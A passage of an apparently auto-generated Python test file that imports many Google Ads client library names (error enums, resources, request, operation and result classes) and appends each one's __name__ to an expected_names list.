expected_names.append(CustomerManagerLinkErrorEnum.__name__) from google.ads.googleads import CustomerUserAccessErrorEnum expected_names.append(CustomerUserAccessErrorEnum.__name__) from google.ads.googleads import DatabaseErrorEnum expected_names.append(DatabaseErrorEnum.__name__) from google.ads.googleads import DateErrorEnum expected_names.append(DateErrorEnum.__name__) from google.ads.googleads import DateRangeErrorEnum expected_names.append(DateRangeErrorEnum.__name__) from google.ads.googleads import DistinctErrorEnum expected_names.append(DistinctErrorEnum.__name__) from google.ads.googleads import EnumErrorEnum expected_names.append(EnumErrorEnum.__name__) from google.ads.googleads import ExtensionFeedItemErrorEnum expected_names.append(ExtensionFeedItemErrorEnum.__name__) from google.ads.googleads import ExtensionSettingErrorEnum expected_names.append(ExtensionSettingErrorEnum.__name__) from google.ads.googleads import FeedAttributeReferenceErrorEnum expected_names.append(FeedAttributeReferenceErrorEnum.__name__) from google.ads.googleads import FeedErrorEnum expected_names.append(FeedErrorEnum.__name__) from google.ads.googleads import FeedItemErrorEnum expected_names.append(FeedItemErrorEnum.__name__) from google.ads.googleads import FeedItemSetErrorEnum expected_names.append(FeedItemSetErrorEnum.__name__) from google.ads.googleads import FeedItemSetLinkErrorEnum expected_names.append(FeedItemSetLinkErrorEnum.__name__) from google.ads.googleads import FeedItemTargetErrorEnum expected_names.append(FeedItemTargetErrorEnum.__name__) from google.ads.googleads import FeedItemValidationErrorEnum expected_names.append(FeedItemValidationErrorEnum.__name__) from google.ads.googleads import FeedMappingErrorEnum expected_names.append(FeedMappingErrorEnum.__name__) from google.ads.googleads import FieldErrorEnum expected_names.append(FieldErrorEnum.__name__) from google.ads.googleads import FieldMaskErrorEnum expected_names.append(FieldMaskErrorEnum.__name__) from google.ads.googleads import FunctionErrorEnum expected_names.append(FunctionErrorEnum.__name__) from google.ads.googleads import FunctionParsingErrorEnum expected_names.append(FunctionParsingErrorEnum.__name__) from google.ads.googleads import GeoTargetConstantSuggestionErrorEnum expected_names.append(GeoTargetConstantSuggestionErrorEnum.__name__) from google.ads.googleads import HeaderErrorEnum expected_names.append(HeaderErrorEnum.__name__) from google.ads.googleads import IdErrorEnum expected_names.append(IdErrorEnum.__name__) from google.ads.googleads import ImageErrorEnum expected_names.append(ImageErrorEnum.__name__) from google.ads.googleads import InternalErrorEnum expected_names.append(InternalErrorEnum.__name__) from google.ads.googleads import InvoiceErrorEnum expected_names.append(InvoiceErrorEnum.__name__) from google.ads.googleads import KeywordPlanAdGroupErrorEnum expected_names.append(KeywordPlanAdGroupErrorEnum.__name__) from google.ads.googleads import KeywordPlanAdGroupKeywordErrorEnum expected_names.append(KeywordPlanAdGroupKeywordErrorEnum.__name__) from google.ads.googleads import KeywordPlanCampaignErrorEnum expected_names.append(KeywordPlanCampaignErrorEnum.__name__) from google.ads.googleads import KeywordPlanCampaignKeywordErrorEnum expected_names.append(KeywordPlanCampaignKeywordErrorEnum.__name__) from google.ads.googleads import KeywordPlanErrorEnum expected_names.append(KeywordPlanErrorEnum.__name__) from google.ads.googleads import KeywordPlanIdeaErrorEnum expected_names.append(KeywordPlanIdeaErrorEnum.__name__) from google.ads.googleads import LabelErrorEnum expected_names.append(LabelErrorEnum.__name__) from google.ads.googleads import LanguageCodeErrorEnum expected_names.append(LanguageCodeErrorEnum.__name__) from google.ads.googleads import ListOperationErrorEnum expected_names.append(ListOperationErrorEnum.__name__) from google.ads.googleads import ManagerLinkErrorEnum expected_names.append(ManagerLinkErrorEnum.__name__) from google.ads.googleads import MediaBundleErrorEnum expected_names.append(MediaBundleErrorEnum.__name__) from google.ads.googleads import MediaFileErrorEnum expected_names.append(MediaFileErrorEnum.__name__) from google.ads.googleads import MediaUploadErrorEnum expected_names.append(MediaUploadErrorEnum.__name__) from google.ads.googleads import MultiplierErrorEnum expected_names.append(MultiplierErrorEnum.__name__) from google.ads.googleads import MutateErrorEnum expected_names.append(MutateErrorEnum.__name__) from google.ads.googleads import NewResourceCreationErrorEnum expected_names.append(NewResourceCreationErrorEnum.__name__) from google.ads.googleads import NotAllowlistedErrorEnum expected_names.append(NotAllowlistedErrorEnum.__name__) from google.ads.googleads import NotEmptyErrorEnum expected_names.append(NotEmptyErrorEnum.__name__) from google.ads.googleads import NullErrorEnum expected_names.append(NullErrorEnum.__name__) from google.ads.googleads import OfflineUserDataJobErrorEnum expected_names.append(OfflineUserDataJobErrorEnum.__name__) from google.ads.googleads import OperationAccessDeniedErrorEnum expected_names.append(OperationAccessDeniedErrorEnum.__name__) from google.ads.googleads import OperatorErrorEnum expected_names.append(OperatorErrorEnum.__name__) from google.ads.googleads import PartialFailureErrorEnum expected_names.append(PartialFailureErrorEnum.__name__) from google.ads.googleads import PaymentsAccountErrorEnum expected_names.append(PaymentsAccountErrorEnum.__name__) from google.ads.googleads import PolicyFindingErrorEnum expected_names.append(PolicyFindingErrorEnum.__name__) from google.ads.googleads import PolicyValidationParameterErrorEnum expected_names.append(PolicyValidationParameterErrorEnum.__name__) from google.ads.googleads import PolicyViolationErrorEnum expected_names.append(PolicyViolationErrorEnum.__name__) from google.ads.googleads import QueryErrorEnum expected_names.append(QueryErrorEnum.__name__) from google.ads.googleads import QuotaErrorEnum expected_names.append(QuotaErrorEnum.__name__) from google.ads.googleads import RangeErrorEnum expected_names.append(RangeErrorEnum.__name__) from google.ads.googleads import ReachPlanErrorEnum expected_names.append(ReachPlanErrorEnum.__name__) from google.ads.googleads import RecommendationErrorEnum expected_names.append(RecommendationErrorEnum.__name__) from google.ads.googleads import RegionCodeErrorEnum expected_names.append(RegionCodeErrorEnum.__name__) from google.ads.googleads import RequestErrorEnum expected_names.append(RequestErrorEnum.__name__) from google.ads.googleads import ResourceAccessDeniedErrorEnum expected_names.append(ResourceAccessDeniedErrorEnum.__name__) from google.ads.googleads import ResourceCountLimitExceededErrorEnum expected_names.append(ResourceCountLimitExceededErrorEnum.__name__) from google.ads.googleads import SettingErrorEnum expected_names.append(SettingErrorEnum.__name__) from google.ads.googleads import SharedCriterionErrorEnum expected_names.append(SharedCriterionErrorEnum.__name__) from google.ads.googleads import SharedSetErrorEnum expected_names.append(SharedSetErrorEnum.__name__) from google.ads.googleads import SizeLimitErrorEnum expected_names.append(SizeLimitErrorEnum.__name__) from google.ads.googleads import StringFormatErrorEnum expected_names.append(StringFormatErrorEnum.__name__) from google.ads.googleads import StringLengthErrorEnum expected_names.append(StringLengthErrorEnum.__name__) from google.ads.googleads import ThirdPartyAppAnalyticsLinkErrorEnum expected_names.append(ThirdPartyAppAnalyticsLinkErrorEnum.__name__) from google.ads.googleads import TimeZoneErrorEnum expected_names.append(TimeZoneErrorEnum.__name__) from google.ads.googleads import UrlFieldErrorEnum expected_names.append(UrlFieldErrorEnum.__name__) from google.ads.googleads import UserDataErrorEnum expected_names.append(UserDataErrorEnum.__name__) from google.ads.googleads import UserListErrorEnum expected_names.append(UserListErrorEnum.__name__) from google.ads.googleads import YoutubeVideoRegistrationErrorEnum expected_names.append(YoutubeVideoRegistrationErrorEnum.__name__) from google.ads.googleads import GoogleAdsFailure expected_names.append(GoogleAdsFailure.__name__) from google.ads.googleads import GoogleAdsError expected_names.append(GoogleAdsError.__name__) from google.ads.googleads import ErrorCode expected_names.append(ErrorCode.__name__) from google.ads.googleads import ErrorLocation expected_names.append(ErrorLocation.__name__) from google.ads.googleads import ErrorDetails expected_names.append(ErrorDetails.__name__) from google.ads.googleads import PolicyViolationDetails expected_names.append(PolicyViolationDetails.__name__) from google.ads.googleads import PolicyFindingDetails expected_names.append(PolicyFindingDetails.__name__) from google.ads.googleads import QuotaErrorDetails expected_names.append(QuotaErrorDetails.__name__) from google.ads.googleads import ResourceCountDetails expected_names.append(ResourceCountDetails.__name__) from google.ads.googleads import AccessibleBiddingStrategy expected_names.append(AccessibleBiddingStrategy.__name__) from google.ads.googleads import AccountBudget expected_names.append(AccountBudget.__name__) from google.ads.googleads import AccountBudgetProposal expected_names.append(AccountBudgetProposal.__name__) from google.ads.googleads import AccountLink expected_names.append(AccountLink.__name__) from google.ads.googleads import ThirdPartyAppAnalyticsLinkIdentifier expected_names.append(ThirdPartyAppAnalyticsLinkIdentifier.__name__) from google.ads.googleads import DataPartnerLinkIdentifier expected_names.append(DataPartnerLinkIdentifier.__name__) from google.ads.googleads import GoogleAdsLinkIdentifier expected_names.append(GoogleAdsLinkIdentifier.__name__) from google.ads.googleads import Ad expected_names.append(Ad.__name__) from google.ads.googleads import AdGroup expected_names.append(AdGroup.__name__) from google.ads.googleads import AdGroupAd expected_names.append(AdGroupAd.__name__) from google.ads.googleads import AdGroupAdPolicySummary expected_names.append(AdGroupAdPolicySummary.__name__) from google.ads.googleads import AdGroupAdAssetView expected_names.append(AdGroupAdAssetView.__name__) from google.ads.googleads import AdGroupAdAssetPolicySummary expected_names.append(AdGroupAdAssetPolicySummary.__name__) from google.ads.googleads import AdGroupAdLabel expected_names.append(AdGroupAdLabel.__name__) from google.ads.googleads import AdGroupAsset expected_names.append(AdGroupAsset.__name__) from google.ads.googleads import AdGroupAudienceView expected_names.append(AdGroupAudienceView.__name__) from google.ads.googleads import AdGroupBidModifier expected_names.append(AdGroupBidModifier.__name__) from google.ads.googleads import AdGroupCriterion expected_names.append(AdGroupCriterion.__name__) from google.ads.googleads import AdGroupCriterionLabel expected_names.append(AdGroupCriterionLabel.__name__) from google.ads.googleads import AdGroupCriterionSimulation expected_names.append(AdGroupCriterionSimulation.__name__) from google.ads.googleads import AdGroupExtensionSetting expected_names.append(AdGroupExtensionSetting.__name__) from google.ads.googleads import AdGroupFeed expected_names.append(AdGroupFeed.__name__) from google.ads.googleads import AdGroupLabel expected_names.append(AdGroupLabel.__name__) from google.ads.googleads import AdGroupSimulation expected_names.append(AdGroupSimulation.__name__) from google.ads.googleads import AdParameter expected_names.append(AdParameter.__name__) from google.ads.googleads import AdScheduleView expected_names.append(AdScheduleView.__name__) from google.ads.googleads import AgeRangeView expected_names.append(AgeRangeView.__name__) from google.ads.googleads import Asset expected_names.append(Asset.__name__) from google.ads.googleads import AssetPolicySummary expected_names.append(AssetPolicySummary.__name__) from google.ads.googleads import AssetFieldTypeView expected_names.append(AssetFieldTypeView.__name__) from google.ads.googleads import BatchJob expected_names.append(BatchJob.__name__) from google.ads.googleads import BiddingDataExclusion expected_names.append(BiddingDataExclusion.__name__) from google.ads.googleads import BiddingSeasonalityAdjustment expected_names.append(BiddingSeasonalityAdjustment.__name__) from google.ads.googleads import BiddingStrategy expected_names.append(BiddingStrategy.__name__) from google.ads.googleads import BiddingStrategySimulation expected_names.append(BiddingStrategySimulation.__name__) from google.ads.googleads import BillingSetup expected_names.append(BillingSetup.__name__) from google.ads.googleads import CallView expected_names.append(CallView.__name__) from google.ads.googleads import Campaign expected_names.append(Campaign.__name__) from google.ads.googleads import CampaignAsset expected_names.append(CampaignAsset.__name__) from google.ads.googleads import CampaignAudienceView expected_names.append(CampaignAudienceView.__name__) from google.ads.googleads import CampaignBidModifier expected_names.append(CampaignBidModifier.__name__) from google.ads.googleads import CampaignBudget expected_names.append(CampaignBudget.__name__) from google.ads.googleads import CampaignCriterion expected_names.append(CampaignCriterion.__name__) from google.ads.googleads import CampaignCriterionSimulation expected_names.append(CampaignCriterionSimulation.__name__) from google.ads.googleads import CampaignDraft expected_names.append(CampaignDraft.__name__) from google.ads.googleads import CampaignExperiment expected_names.append(CampaignExperiment.__name__) from google.ads.googleads import CampaignExtensionSetting expected_names.append(CampaignExtensionSetting.__name__) from google.ads.googleads import CampaignFeed expected_names.append(CampaignFeed.__name__) from google.ads.googleads import CampaignLabel expected_names.append(CampaignLabel.__name__) from google.ads.googleads import CampaignSharedSet expected_names.append(CampaignSharedSet.__name__) from google.ads.googleads import CampaignSimulation expected_names.append(CampaignSimulation.__name__) from google.ads.googleads import CarrierConstant expected_names.append(CarrierConstant.__name__) from google.ads.googleads import CustomerAsset expected_names.append(CustomerAsset.__name__) from google.ads.googleads import Feed expected_names.append(Feed.__name__) from google.ads.googleads import FeedAttribute expected_names.append(FeedAttribute.__name__) from google.ads.googleads import FeedAttributeOperation expected_names.append(FeedAttributeOperation.__name__) from google.ads.googleads import FeedItem expected_names.append(FeedItem.__name__) from google.ads.googleads import FeedItemAttributeValue expected_names.append(FeedItemAttributeValue.__name__) from google.ads.googleads import FeedItemPlaceholderPolicyInfo expected_names.append(FeedItemPlaceholderPolicyInfo.__name__) from google.ads.googleads import FeedItemValidationError expected_names.append(FeedItemValidationError.__name__) from google.ads.googleads import ChangeEvent expected_names.append(ChangeEvent.__name__) from google.ads.googleads import ChangeStatus expected_names.append(ChangeStatus.__name__) from google.ads.googleads import ClickView expected_names.append(ClickView.__name__) from google.ads.googleads import CombinedAudience expected_names.append(CombinedAudience.__name__) from google.ads.googleads import ConversionAction expected_names.append(ConversionAction.__name__) from google.ads.googleads import ConversionCustomVariable expected_names.append(ConversionCustomVariable.__name__) from google.ads.googleads import ConversionValueRule expected_names.append(ConversionValueRule.__name__) from google.ads.googleads import ConversionValueRuleSet expected_names.append(ConversionValueRuleSet.__name__) from google.ads.googleads import CurrencyConstant expected_names.append(CurrencyConstant.__name__) from google.ads.googleads import CustomAudience expected_names.append(CustomAudience.__name__) from google.ads.googleads import CustomAudienceMember expected_names.append(CustomAudienceMember.__name__) from google.ads.googleads import CustomInterest expected_names.append(CustomInterest.__name__) from google.ads.googleads import CustomInterestMember expected_names.append(CustomInterestMember.__name__) from google.ads.googleads import Customer expected_names.append(Customer.__name__) from google.ads.googleads import CallReportingSetting expected_names.append(CallReportingSetting.__name__) from google.ads.googleads import ConversionTrackingSetting expected_names.append(ConversionTrackingSetting.__name__) from google.ads.googleads import RemarketingSetting expected_names.append(RemarketingSetting.__name__) from google.ads.googleads import CustomerClient expected_names.append(CustomerClient.__name__) from google.ads.googleads import CustomerClientLink expected_names.append(CustomerClientLink.__name__) from google.ads.googleads import CustomerExtensionSetting expected_names.append(CustomerExtensionSetting.__name__) from google.ads.googleads import CustomerFeed expected_names.append(CustomerFeed.__name__) from google.ads.googleads import CustomerLabel expected_names.append(CustomerLabel.__name__) from google.ads.googleads import CustomerManagerLink expected_names.append(CustomerManagerLink.__name__) from google.ads.googleads import CustomerNegativeCriterion expected_names.append(CustomerNegativeCriterion.__name__) from google.ads.googleads import CustomerUserAccess expected_names.append(CustomerUserAccess.__name__) from google.ads.googleads import CustomerUserAccessInvitation expected_names.append(CustomerUserAccessInvitation.__name__) from google.ads.googleads import DetailPlacementView expected_names.append(DetailPlacementView.__name__) from google.ads.googleads import DetailedDemographic expected_names.append(DetailedDemographic.__name__) from google.ads.googleads import DisplayKeywordView expected_names.append(DisplayKeywordView.__name__) from google.ads.googleads import DistanceView expected_names.append(DistanceView.__name__) from google.ads.googleads import DomainCategory expected_names.append(DomainCategory.__name__) from google.ads.googleads import DynamicSearchAdsSearchTermView expected_names.append(DynamicSearchAdsSearchTermView.__name__) from google.ads.googleads import ExpandedLandingPageView expected_names.append(ExpandedLandingPageView.__name__) from google.ads.googleads import ExtensionFeedItem expected_names.append(ExtensionFeedItem.__name__) from google.ads.googleads import FeedItemSet expected_names.append(FeedItemSet.__name__) from google.ads.googleads import FeedItemSetLink expected_names.append(FeedItemSetLink.__name__) from google.ads.googleads import FeedItemTarget expected_names.append(FeedItemTarget.__name__) from google.ads.googleads import FeedMapping expected_names.append(FeedMapping.__name__) from google.ads.googleads import AttributeFieldMapping expected_names.append(AttributeFieldMapping.__name__) from google.ads.googleads import FeedPlaceholderView expected_names.append(FeedPlaceholderView.__name__) from google.ads.googleads import GenderView expected_names.append(GenderView.__name__) from google.ads.googleads import GeoTargetConstant expected_names.append(GeoTargetConstant.__name__) from google.ads.googleads import GeographicView expected_names.append(GeographicView.__name__) from google.ads.googleads import GoogleAdsField expected_names.append(GoogleAdsField.__name__) from google.ads.googleads import GroupPlacementView expected_names.append(GroupPlacementView.__name__) from google.ads.googleads import HotelGroupView expected_names.append(HotelGroupView.__name__) from google.ads.googleads import HotelPerformanceView expected_names.append(HotelPerformanceView.__name__) from google.ads.googleads import IncomeRangeView expected_names.append(IncomeRangeView.__name__) from google.ads.googleads import Invoice expected_names.append(Invoice.__name__) from google.ads.googleads import KeywordPlan expected_names.append(KeywordPlan.__name__) from google.ads.googleads import KeywordPlanForecastPeriod expected_names.append(KeywordPlanForecastPeriod.__name__) from google.ads.googleads import KeywordPlanAdGroup expected_names.append(KeywordPlanAdGroup.__name__) from google.ads.googleads import KeywordPlanAdGroupKeyword expected_names.append(KeywordPlanAdGroupKeyword.__name__) from google.ads.googleads import KeywordPlanCampaign expected_names.append(KeywordPlanCampaign.__name__) from google.ads.googleads import KeywordPlanGeoTarget expected_names.append(KeywordPlanGeoTarget.__name__) from google.ads.googleads import KeywordPlanCampaignKeyword expected_names.append(KeywordPlanCampaignKeyword.__name__) from google.ads.googleads import KeywordThemeConstant expected_names.append(KeywordThemeConstant.__name__) from google.ads.googleads import KeywordView expected_names.append(KeywordView.__name__) from google.ads.googleads import Label expected_names.append(Label.__name__) from google.ads.googleads import LandingPageView expected_names.append(LandingPageView.__name__) from google.ads.googleads import LanguageConstant expected_names.append(LanguageConstant.__name__) from google.ads.googleads import LifeEvent expected_names.append(LifeEvent.__name__) from google.ads.googleads import LocationView expected_names.append(LocationView.__name__) from google.ads.googleads import ManagedPlacementView expected_names.append(ManagedPlacementView.__name__) from google.ads.googleads import MediaFile expected_names.append(MediaFile.__name__) from google.ads.googleads import MediaImage expected_names.append(MediaImage.__name__) from google.ads.googleads import MediaBundle expected_names.append(MediaBundle.__name__) from google.ads.googleads import MediaAudio expected_names.append(MediaAudio.__name__) from google.ads.googleads import MediaVideo expected_names.append(MediaVideo.__name__) from google.ads.googleads import MerchantCenterLink expected_names.append(MerchantCenterLink.__name__) from google.ads.googleads import MobileAppCategoryConstant expected_names.append(MobileAppCategoryConstant.__name__) from google.ads.googleads import MobileDeviceConstant expected_names.append(MobileDeviceConstant.__name__) from google.ads.googleads import OfflineUserDataJob expected_names.append(OfflineUserDataJob.__name__) from google.ads.googleads import OperatingSystemVersionConstant expected_names.append(OperatingSystemVersionConstant.__name__) from google.ads.googleads import PaidOrganicSearchTermView expected_names.append(PaidOrganicSearchTermView.__name__) from google.ads.googleads import ParentalStatusView expected_names.append(ParentalStatusView.__name__) from google.ads.googleads import PaymentsAccount expected_names.append(PaymentsAccount.__name__) from google.ads.googleads import ProductBiddingCategoryConstant expected_names.append(ProductBiddingCategoryConstant.__name__) from google.ads.googleads import ProductGroupView expected_names.append(ProductGroupView.__name__) from google.ads.googleads import Recommendation expected_names.append(Recommendation.__name__) from google.ads.googleads import RemarketingAction expected_names.append(RemarketingAction.__name__) from google.ads.googleads import SearchTermView expected_names.append(SearchTermView.__name__) from google.ads.googleads import SharedCriterion expected_names.append(SharedCriterion.__name__) from google.ads.googleads import SharedSet expected_names.append(SharedSet.__name__) from google.ads.googleads import ShoppingPerformanceView expected_names.append(ShoppingPerformanceView.__name__) from google.ads.googleads import SmartCampaignSearchTermView expected_names.append(SmartCampaignSearchTermView.__name__) from google.ads.googleads import SmartCampaignSetting expected_names.append(SmartCampaignSetting.__name__) from google.ads.googleads import ThirdPartyAppAnalyticsLink expected_names.append(ThirdPartyAppAnalyticsLink.__name__) from google.ads.googleads import TopicConstant expected_names.append(TopicConstant.__name__) from google.ads.googleads import TopicView expected_names.append(TopicView.__name__) from google.ads.googleads import UserInterest expected_names.append(UserInterest.__name__) from google.ads.googleads import UserList expected_names.append(UserList.__name__) from google.ads.googleads import UserLocationView expected_names.append(UserLocationView.__name__) from google.ads.googleads import Video expected_names.append(Video.__name__) from google.ads.googleads import WebpageView expected_names.append(WebpageView.__name__) from google.ads.googleads import GetAccessibleBiddingStrategyRequest expected_names.append(GetAccessibleBiddingStrategyRequest.__name__) from google.ads.googleads import GetAccountBudgetProposalRequest expected_names.append(GetAccountBudgetProposalRequest.__name__) from google.ads.googleads import MutateAccountBudgetProposalRequest expected_names.append(MutateAccountBudgetProposalRequest.__name__) from google.ads.googleads import AccountBudgetProposalOperation expected_names.append(AccountBudgetProposalOperation.__name__) from google.ads.googleads import MutateAccountBudgetProposalResponse expected_names.append(MutateAccountBudgetProposalResponse.__name__) from google.ads.googleads import MutateAccountBudgetProposalResult expected_names.append(MutateAccountBudgetProposalResult.__name__) from google.ads.googleads import GetAccountBudgetRequest expected_names.append(GetAccountBudgetRequest.__name__) from google.ads.googleads import GetAccountLinkRequest expected_names.append(GetAccountLinkRequest.__name__) from google.ads.googleads import CreateAccountLinkRequest expected_names.append(CreateAccountLinkRequest.__name__) from google.ads.googleads import CreateAccountLinkResponse expected_names.append(CreateAccountLinkResponse.__name__) from google.ads.googleads import MutateAccountLinkRequest expected_names.append(MutateAccountLinkRequest.__name__) from google.ads.googleads import AccountLinkOperation expected_names.append(AccountLinkOperation.__name__) from google.ads.googleads import MutateAccountLinkResponse expected_names.append(MutateAccountLinkResponse.__name__) from google.ads.googleads import MutateAccountLinkResult expected_names.append(MutateAccountLinkResult.__name__) from google.ads.googleads import GetAdGroupAdAssetViewRequest expected_names.append(GetAdGroupAdAssetViewRequest.__name__) from google.ads.googleads import GetAdGroupAdLabelRequest expected_names.append(GetAdGroupAdLabelRequest.__name__) from google.ads.googleads import MutateAdGroupAdLabelsRequest expected_names.append(MutateAdGroupAdLabelsRequest.__name__) from google.ads.googleads import AdGroupAdLabelOperation expected_names.append(AdGroupAdLabelOperation.__name__) from google.ads.googleads import MutateAdGroupAdLabelsResponse expected_names.append(MutateAdGroupAdLabelsResponse.__name__) from google.ads.googleads import MutateAdGroupAdLabelResult expected_names.append(MutateAdGroupAdLabelResult.__name__) from google.ads.googleads import GetAdGroupAdRequest expected_names.append(GetAdGroupAdRequest.__name__) from google.ads.googleads import MutateAdGroupAdsRequest expected_names.append(MutateAdGroupAdsRequest.__name__) from google.ads.googleads import AdGroupAdOperation expected_names.append(AdGroupAdOperation.__name__) from google.ads.googleads import MutateAdGroupAdsResponse expected_names.append(MutateAdGroupAdsResponse.__name__) from google.ads.googleads import MutateAdGroupAdResult expected_names.append(MutateAdGroupAdResult.__name__) from google.ads.googleads import GetAdGroupAssetRequest expected_names.append(GetAdGroupAssetRequest.__name__) from google.ads.googleads import MutateAdGroupAssetsRequest expected_names.append(MutateAdGroupAssetsRequest.__name__) from google.ads.googleads import AdGroupAssetOperation expected_names.append(AdGroupAssetOperation.__name__) from google.ads.googleads import MutateAdGroupAssetsResponse expected_names.append(MutateAdGroupAssetsResponse.__name__) from google.ads.googleads import MutateAdGroupAssetResult expected_names.append(MutateAdGroupAssetResult.__name__) from google.ads.googleads import GetAdGroupAudienceViewRequest expected_names.append(GetAdGroupAudienceViewRequest.__name__) from google.ads.googleads import GetAdGroupBidModifierRequest expected_names.append(GetAdGroupBidModifierRequest.__name__) from google.ads.googleads import MutateAdGroupBidModifiersRequest expected_names.append(MutateAdGroupBidModifiersRequest.__name__) from google.ads.googleads import AdGroupBidModifierOperation expected_names.append(AdGroupBidModifierOperation.__name__) from google.ads.googleads import MutateAdGroupBidModifiersResponse expected_names.append(MutateAdGroupBidModifiersResponse.__name__) from google.ads.googleads import MutateAdGroupBidModifierResult expected_names.append(MutateAdGroupBidModifierResult.__name__) from google.ads.googleads import GetAdGroupCriterionLabelRequest expected_names.append(GetAdGroupCriterionLabelRequest.__name__) from google.ads.googleads import MutateAdGroupCriterionLabelsRequest expected_names.append(MutateAdGroupCriterionLabelsRequest.__name__) from google.ads.googleads import AdGroupCriterionLabelOperation expected_names.append(AdGroupCriterionLabelOperation.__name__) from google.ads.googleads import MutateAdGroupCriterionLabelsResponse expected_names.append(MutateAdGroupCriterionLabelsResponse.__name__) from google.ads.googleads import MutateAdGroupCriterionLabelResult expected_names.append(MutateAdGroupCriterionLabelResult.__name__) from google.ads.googleads import GetAdGroupCriterionRequest expected_names.append(GetAdGroupCriterionRequest.__name__) from google.ads.googleads import MutateAdGroupCriteriaRequest expected_names.append(MutateAdGroupCriteriaRequest.__name__) from google.ads.googleads import AdGroupCriterionOperation expected_names.append(AdGroupCriterionOperation.__name__) from google.ads.googleads import MutateAdGroupCriteriaResponse expected_names.append(MutateAdGroupCriteriaResponse.__name__) from google.ads.googleads import MutateAdGroupCriterionResult expected_names.append(MutateAdGroupCriterionResult.__name__) from google.ads.googleads import GetAdGroupCriterionSimulationRequest expected_names.append(GetAdGroupCriterionSimulationRequest.__name__) from google.ads.googleads import GetAdGroupExtensionSettingRequest expected_names.append(GetAdGroupExtensionSettingRequest.__name__) from google.ads.googleads import MutateAdGroupExtensionSettingsRequest expected_names.append(MutateAdGroupExtensionSettingsRequest.__name__) from google.ads.googleads import AdGroupExtensionSettingOperation expected_names.append(AdGroupExtensionSettingOperation.__name__) from google.ads.googleads import MutateAdGroupExtensionSettingsResponse expected_names.append(MutateAdGroupExtensionSettingsResponse.__name__) from google.ads.googleads import MutateAdGroupExtensionSettingResult expected_names.append(MutateAdGroupExtensionSettingResult.__name__) from google.ads.googleads import GetAdGroupFeedRequest expected_names.append(GetAdGroupFeedRequest.__name__) from google.ads.googleads import MutateAdGroupFeedsRequest expected_names.append(MutateAdGroupFeedsRequest.__name__) from google.ads.googleads import AdGroupFeedOperation expected_names.append(AdGroupFeedOperation.__name__) from google.ads.googleads import MutateAdGroupFeedsResponse expected_names.append(MutateAdGroupFeedsResponse.__name__) from google.ads.googleads import MutateAdGroupFeedResult expected_names.append(MutateAdGroupFeedResult.__name__) from google.ads.googleads import GetAdGroupLabelRequest expected_names.append(GetAdGroupLabelRequest.__name__) from google.ads.googleads import MutateAdGroupLabelsRequest expected_names.append(MutateAdGroupLabelsRequest.__name__) from google.ads.googleads import AdGroupLabelOperation expected_names.append(AdGroupLabelOperation.__name__) from google.ads.googleads import MutateAdGroupLabelsResponse expected_names.append(MutateAdGroupLabelsResponse.__name__) from google.ads.googleads import MutateAdGroupLabelResult expected_names.append(MutateAdGroupLabelResult.__name__) from google.ads.googleads import GetAdGroupRequest expected_names.append(GetAdGroupRequest.__name__) from google.ads.googleads import MutateAdGroupsRequest expected_names.append(MutateAdGroupsRequest.__name__) from google.ads.googleads import AdGroupOperation expected_names.append(AdGroupOperation.__name__) from google.ads.googleads import MutateAdGroupsResponse expected_names.append(MutateAdGroupsResponse.__name__) from google.ads.googleads import MutateAdGroupResult expected_names.append(MutateAdGroupResult.__name__) from google.ads.googleads import GetAdGroupSimulationRequest expected_names.append(GetAdGroupSimulationRequest.__name__) from google.ads.googleads import GetAdParameterRequest expected_names.append(GetAdParameterRequest.__name__) from google.ads.googleads import MutateAdParametersRequest expected_names.append(MutateAdParametersRequest.__name__) from google.ads.googleads import AdParameterOperation expected_names.append(AdParameterOperation.__name__) from google.ads.googleads import MutateAdParametersResponse expected_names.append(MutateAdParametersResponse.__name__) from google.ads.googleads import MutateAdParameterResult expected_names.append(MutateAdParameterResult.__name__) from google.ads.googleads import GetAdScheduleViewRequest expected_names.append(GetAdScheduleViewRequest.__name__) from google.ads.googleads import GetAdRequest expected_names.append(GetAdRequest.__name__) from google.ads.googleads import MutateAdsRequest expected_names.append(MutateAdsRequest.__name__) from google.ads.googleads import AdOperation expected_names.append(AdOperation.__name__) from google.ads.googleads import MutateAdsResponse expected_names.append(MutateAdsResponse.__name__) from google.ads.googleads import MutateAdResult expected_names.append(MutateAdResult.__name__) from google.ads.googleads import GetAgeRangeViewRequest expected_names.append(GetAgeRangeViewRequest.__name__) from google.ads.googleads import GetAssetFieldTypeViewRequest expected_names.append(GetAssetFieldTypeViewRequest.__name__) from google.ads.googleads import GetAssetRequest expected_names.append(GetAssetRequest.__name__) from google.ads.googleads import MutateAssetsRequest expected_names.append(MutateAssetsRequest.__name__) from google.ads.googleads import AssetOperation expected_names.append(AssetOperation.__name__) from google.ads.googleads import MutateAssetsResponse expected_names.append(MutateAssetsResponse.__name__) from google.ads.googleads import MutateAssetResult expected_names.append(MutateAssetResult.__name__) from google.ads.googleads import GetBiddingDataExclusionRequest expected_names.append(GetBiddingDataExclusionRequest.__name__) from google.ads.googleads import MutateBiddingDataExclusionsRequest expected_names.append(MutateBiddingDataExclusionsRequest.__name__) from google.ads.googleads import BiddingDataExclusionOperation expected_names.append(BiddingDataExclusionOperation.__name__) from google.ads.googleads import MutateBiddingDataExclusionsResponse expected_names.append(MutateBiddingDataExclusionsResponse.__name__) from google.ads.googleads import MutateBiddingDataExclusionsResult expected_names.append(MutateBiddingDataExclusionsResult.__name__) from google.ads.googleads import GetBiddingSeasonalityAdjustmentRequest expected_names.append(GetBiddingSeasonalityAdjustmentRequest.__name__) from google.ads.googleads import MutateBiddingSeasonalityAdjustmentsRequest expected_names.append(MutateBiddingSeasonalityAdjustmentsRequest.__name__) from google.ads.googleads import BiddingSeasonalityAdjustmentOperation expected_names.append(BiddingSeasonalityAdjustmentOperation.__name__) from google.ads.googleads import MutateBiddingSeasonalityAdjustmentsResponse expected_names.append(MutateBiddingSeasonalityAdjustmentsResponse.__name__) from google.ads.googleads import MutateBiddingSeasonalityAdjustmentsResult expected_names.append(MutateBiddingSeasonalityAdjustmentsResult.__name__) from google.ads.googleads import GetBiddingStrategyRequest expected_names.append(GetBiddingStrategyRequest.__name__) from google.ads.googleads import MutateBiddingStrategiesRequest expected_names.append(MutateBiddingStrategiesRequest.__name__) from google.ads.googleads import BiddingStrategyOperation expected_names.append(BiddingStrategyOperation.__name__) from google.ads.googleads import MutateBiddingStrategiesResponse expected_names.append(MutateBiddingStrategiesResponse.__name__) from google.ads.googleads import MutateBiddingStrategyResult expected_names.append(MutateBiddingStrategyResult.__name__) from google.ads.googleads import GetCampaignAssetRequest expected_names.append(GetCampaignAssetRequest.__name__) from google.ads.googleads import MutateCampaignAssetsRequest 